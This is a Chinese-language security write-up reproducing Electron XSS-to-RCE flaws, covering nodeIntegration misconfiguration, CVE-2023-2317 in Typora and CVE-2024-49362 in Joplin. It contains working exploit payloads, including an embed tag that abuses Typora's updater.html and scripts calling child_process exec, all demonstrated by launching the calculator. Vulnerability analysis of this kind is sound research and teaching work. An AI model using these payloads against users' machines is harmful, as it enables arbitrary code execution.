Electron 相关漏洞复现

Electron 相关漏洞复现
Ec3oXSS in Electron - XSS 2 RCE
Electron介绍
Electron是一个使用 JavaScript、HTML 和 CSS 构建桌面应用程序的框架。 嵌入 Chromium 和 Node.js 到 二进制的 Electron 允许您保持一个 JavaScript 代码代码库并创建 在Windows上运行的跨平台应用 macOS和Linux——不需要本地开发经验。
你可以理解成Electron框架将网页的浏览体验移植到了桌面端应用程序——在浏览器中,XSS的危害有限,仅限于执行inpage JavaScript偷取信息和进行CSRF.
在Electron中,若存在不合理的配置,往往会导致更严重的危害,获取Nodejs API权限、任意文件读取甚至最后接管主机.
原因是因为Nodejs API暴露给了不可控的HTML page导致注入自定义JavaScript代码,最终导致XSS 2 RCE.
在攻击中,有两种方法可能获取更高的权限:
利用渲染进程本身进行RCE
通过访问Node.js共享库来实现RCE。利用Chromium的漏洞实现RCE。
通过IPC影响主进程进行RCE
需要主进程提供IPC通信功能,以实现危险方法。当前执行上下文需要能够访问IPC。
RCE-1: XSS + nodeIntegration->RCE
如果将nodeIntegration
设置为on ,则网页的 JavaScript
只需调用 .js 即可轻松使用 Node.js API require() 获取子模块执行命令.
1 | <script> require('child_process').exec('calc'); // 或者 top.require('child_process').exec('open /System/Applications/Calculator.app');</script> |
RCE-2: 通过 preload.js + 上下文未隔离导致远程代码执行
CVE-2023-2317
漏洞描述
在 Windows 和 Linux 上,在 1.6.7
之前的 Typora 中,updater/update.html 基于 DOM 的 XSS 允许构建的 markdown 文件通过在标签中加载 typora://app/typemark/updater/update.html 在 Typora 主窗口的上下文中运行任意 JavaScript 代码。如果用户在 Typora 中打开恶意 markdown 文件,或从恶意网页复制文本并将其粘贴到 Typora 中,则可利用此漏洞。
低于1.67版本的Typora存在代码执行漏洞,通过在标签中加载typora://app/typemark/updater/update.html
实现在Typora主窗口的上下文中运行任意JavaScript代码。
漏洞分析
1 | <script type="text/javascript"> |
Typora的内置update.html通过get属性接受参数来呈现数据,调用了innerHTML()
函数.
innerHTML
从get获取label参数并解析为HTML,允许直接插入JS,导致XSS漏洞.
XSS可以直接调用Node API 升级成RCE漏洞.
1 | <embed src="typora://app/typemark/updater/updater.html?curVersion=a&newVersion=b&releaseNoteLink=c&hideAutoUpdates=false&labels=["","<svg/onload=top.eval(`reqnode('child_process').exec('calc')`)></svg>","","","",""]"> |
EXP
1 | <embed src="typora://app/typemark/updater/updater.html?curVersion=a&newVersion=b&releaseNoteLink=c&hideAutoUpdates=false&labels=[%22%22,%22%3Csvg%2Fonload%3Dtop.eval(%60reqnode('child_process').exec('calc')%60)%3E%3C%2Fsvg%3E%22,%22%22,%22%22,%22%22,%22%22]"> |
漏洞复现
CVE-2024-49362
漏洞描述
在Markdown预览iframe中,Joplin仅在相同的Electron窗口中打开包含data-from-md
属性的内部链接。虽然Joplin成功地对用户从.md文件嵌入的链接中的“data-from-md”属性进行了净化,以防止执行不可信的HTML内容,但它未能净化由Mermaid引入的标签(例如下面的代码片段)中的“data-from-md”属性。由于Mermaid允许渲染某些无脚本的HTML元素,攻击者可以嵌入带有“data-from-md”属性的标签,这些标签将在相同的Electron窗口中被内部打开。
此外,Joplin以nodeIntegration=true
和contextIsolation=false
的方式打开窗口,导致在打开的窗口中运行的任何脚本都可完全访问Node.js
API。此外,Markdown预览iframe与父元素共享相同的源(即本地文件系统),并且不包含sandbox属性,允许在iframe中运行的脚本通过window.parent调用Node.js
API。因此,攻击者可以通过利用存储在本地文件系统中的HTML文件来执行任意代码,这些HTML文件与父进程具有相同的起源。
漏洞复现
带有 data-from-md
属性的<a href=xxx>
链接会被直接解析.
1 | document.addEventListener('click', (event) => { |
Electron安全配置中配置了nodeIntergration
为true和contextIsolation
为false,渲染器进程拥有完全的nodejs API访问能力.
1 | const windowOptions: any = { |
poc2.html
利用Node.js API获取系统级别命令执行(RCE)
1 | <html> |